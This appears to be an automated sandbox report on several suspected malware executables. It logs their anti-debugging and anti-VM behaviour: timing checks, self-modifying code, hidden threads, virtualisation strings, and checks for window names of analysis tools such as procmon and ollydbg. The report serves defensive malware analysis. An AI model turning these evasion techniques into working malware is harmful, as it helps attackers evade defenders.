Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 79F140 second address: 79F15F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jo 00007F5504BA7166h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 js 00007F5504BA716Eh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 79F15F second address: 79F165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 79F165 second address: 79F17E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F5504BA7172h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 79F17E second address: 79F186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 79DC77 second address: 79DC7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 79DC7D second address: 79DC9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5504CC35F5h 0x00000008 jo 00007F5504CC35E6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 79DDF7 second address: 79DE10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5504BA7170h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 79EB77 second address: 79EB7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 79EB7B second address: 79EBAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504BA7174h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F5504BA7177h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 74E278 second address: 74E27E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 74E27E second address: 74E28E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F5504BA716Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 74E28E second address: 74E292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 74E292 second address: 74E2C4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5504BA7179h 0x00000008 pushad 0x00000009 jno 00007F5504BA7166h 0x0000000f jmp 00007F5504BA716Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 79EFB2 second address: 79EFC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F5504CC35EDh 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 79D97A second address: 79D99B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F5504BA7173h 0x0000000a popad 0x0000000b push ecx 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 79D99B second address: 79D9A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7225BC second address: 7225C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7225C4 second address: 7225E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5504CC35F6h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7A6BF1 second address: 7A6BF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7A6BF5 second address: 7A6BF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 7A6BF9 second address: 7A6C13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F5504BA7172h 0x0000000d rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Special instruction interceptor: First address: 1CC122 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Special instruction interceptor: First address: 394637 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Special instruction interceptor: First address: 1CEDC0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Special instruction interceptor: First address: 3745E6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Special instruction interceptor: First address: 1CED91 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Special instruction interceptor: First address: 5BDC0E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Special instruction interceptor: First address: 75AB63 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Special instruction interceptor: First address: 5BB376 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Special instruction interceptor: First address: 7E9E27 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Special instruction interceptor: First address: 788BDB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Special instruction interceptor: First address: 11DDC0E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Special instruction interceptor: First address: 137AB63 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Special instruction interceptor: First address: 11DB376 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Special instruction interceptor: First address: 13A8BDB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Special instruction interceptor: First address: 1409E27 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Special instruction interceptor: First address: CBF77F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Special instruction interceptor: First address: 31EB0B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Special instruction interceptor: First address: 31EBFD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Special instruction interceptor: First address: 4BE464 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Special instruction interceptor: First address: 31C642 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Special instruction interceptor: First address: 4E5E6C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Special instruction interceptor: First address: 31EB11 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Special instruction interceptor: First address: 549E57 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Special instruction interceptor: First address: E2F77F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Special instruction interceptor: First address: 3BEB0B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Special instruction interceptor: First address: 3BEBFD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Special instruction interceptor: First address: 55E464 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Special instruction interceptor: First address: 3BC642 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Special instruction interceptor: First address: 585E6C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Special instruction interceptor: First address: 3BEB11 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Special instruction interceptor: First address: 5E9E57 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Memory allocated: 5060000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Memory allocated: 5290000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Memory allocated: 50A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Memory allocated: 4FC0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Memory allocated: 5130000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Memory allocated: 7130000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 3547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 6193	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Window / User API: threadDelayed 829

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3512	Thread sleep count: 3547 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3512	Thread sleep time: -106410000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3056	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3512	Thread sleep count: 6193 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3512	Thread sleep time: -185790000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe TID: 4268	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe TID: 4820	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe TID: 5296	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe TID: 6016	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe TID: 7536	Thread sleep time: -90000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe TID: 7676	Thread sleep time: -84000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe TID: 7316	Thread sleep count: 45 > 30
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe TID: 7316	Thread sleep time: -270000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe TID: 3544	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe TID: 2304	Thread sleep count: 80 > 30
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe TID: 2304	Thread sleep time: -480000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe TID: 7288	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe TID: 5180	Thread sleep time: -90000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\ykDoK8BtxW.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior

Source: skotes.exe, 00000002.00000002.1683551407.00000000012B8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.1703413089.0000000001218000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1811482824.0000000005395000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.2132448872.0000000006264000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000000.1803605956.000000000034E000.00000080.00000001.01000000.00000008.sdmp, 6e2c49386e.exe, 00000006.00000002.1926741714.000000000073B000.00000040.00000001.01000000.00000009.sdmp, ff3d383111.exe, 00000009.00000000.1935502112.000000000034E000.00000080.00000001.01000000.00000008.sdmp, ff3d383111.exe, 00000009.00000003.1947440479.0000000004FD4000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2203551512.0000000005B75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 9c961c26ae.exe, 0000001D.00000002.2235783567.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware%
Source: skotes.exe, 00000001.00000003.1674401147.0000000000BD0000.00000004.00001000.00020000.00000000.sdmp, skotes.exe, 00000001.00000003.1674293361.0000000000BD0000.00000004.00001000.00020000.00000000.sdmp, skotes.exe, 00000003.00000003.1696948690.0000000001360000.00000004.00001000.00020000.00000000.sdmp, skotes.exe, 00000003.00000003.1696556424.0000000001360000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlp.exeSDT\VBOX__
Source: firefox.exe, 00000017.00000002.2124477447.0000016BA60A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: firefox.exe, 00000017.00000002.2124477447.0000016BA60B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWrz
Source: ff3d383111.exe, 00000004.00000003.2131322643.00000000011D7000.00000004.00000020.00020000.00000000.sdmp, 6e2c49386e.exe, 00000006.00000002.1928139125.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp, 6e2c49386e.exe, 00000006.00000002.1928139125.0000000000F17000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2009379322.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2115837753.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1975791240.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2031020913.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2089013132.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1993908104.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 9c961c26ae.exe, 0000001D.00000002.2235783567.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: skotes.exe, 00000001.00000003.1674822801.0000000000BD0000.00000004.00001000.00020000.00000000.sdmp, skotes.exe, 00000001.00000003.1674924120.0000000000BD0000.00000004.00001000.00020000.00000000.sdmp, skotes.exe, 00000003.00000003.1698230116.0000000001360000.00000004.00001000.00020000.00000000.sdmp, skotes.exe, 00000003.00000003.1699013208.0000000001360000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlmp.exeSDT\VBOX__
Source: firefox.exe, 00000017.00000002.2126775101.0000016BB01BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 6e2c49386e.exe, 00000006.00000002.1928139125.0000000000F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW*
Source: skotes.exe, 00000001.00000003.1675125571.0000000000BD0000.00000004.00001000.00020000.00000000.sdmp, skotes.exe, 00000003.00000003.1699248463.0000000001360000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlmp.exeST\VBOX__
Source: skotes.exe, 00000001.00000003.1675227535.0000000000BD0000.00000004.00001000.00020000.00000000.sdmp, skotes.exe, 00000003.00000003.1699358669.0000000001360000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnmp.exeSDT\VBOX__
Source: ff3d383111.exe, 00000004.00000003.2132448872.0000000006264000.00000004.00000800.00020000.00000000.sdmp, 6e2c49386e.exe, 00000006.00000002.1926741714.000000000073B000.00000040.00000001.01000000.00000009.sdmp, ff3d383111.exe, 00000009.00000003.2203551512.0000000005B75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: skotes.exe, 00000001.00000003.1675024066.0000000000BD0000.00000004.00001000.00020000.00000000.sdmp, skotes.exe, 00000001.00000003.1674576334.0000000000BD0000.00000004.00001000.00020000.00000000.sdmp, skotes.exe, 00000001.00000003.1674690584.0000000000BD0000.00000004.00001000.00020000.00000000.sdmp, skotes.exe, 00000003.00000003.1697501286.0000000001360000.00000004.00001000.00020000.00000000.sdmp, skotes.exe, 00000003.00000003.1699120904.0000000001360000.00000004.00001000.00020000.00000000.sdmp, skotes.exe, 00000003.00000003.1697202997.0000000001360000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlm.exeSDT\VBOX__
Source: ff3d383111.exe, 00000004.00000003.1811482824.0000000005395000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000000.1803605956.000000000034E000.00000080.00000001.01000000.00000008.sdmp, ff3d383111.exe, 00000009.00000000.1935502112.000000000034E000.00000080.00000001.01000000.00000008.sdmp, ff3d383111.exe, 00000009.00000003.1947440479.0000000004FD4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\ykDoK8BtxW.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\ykDoK8BtxW.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
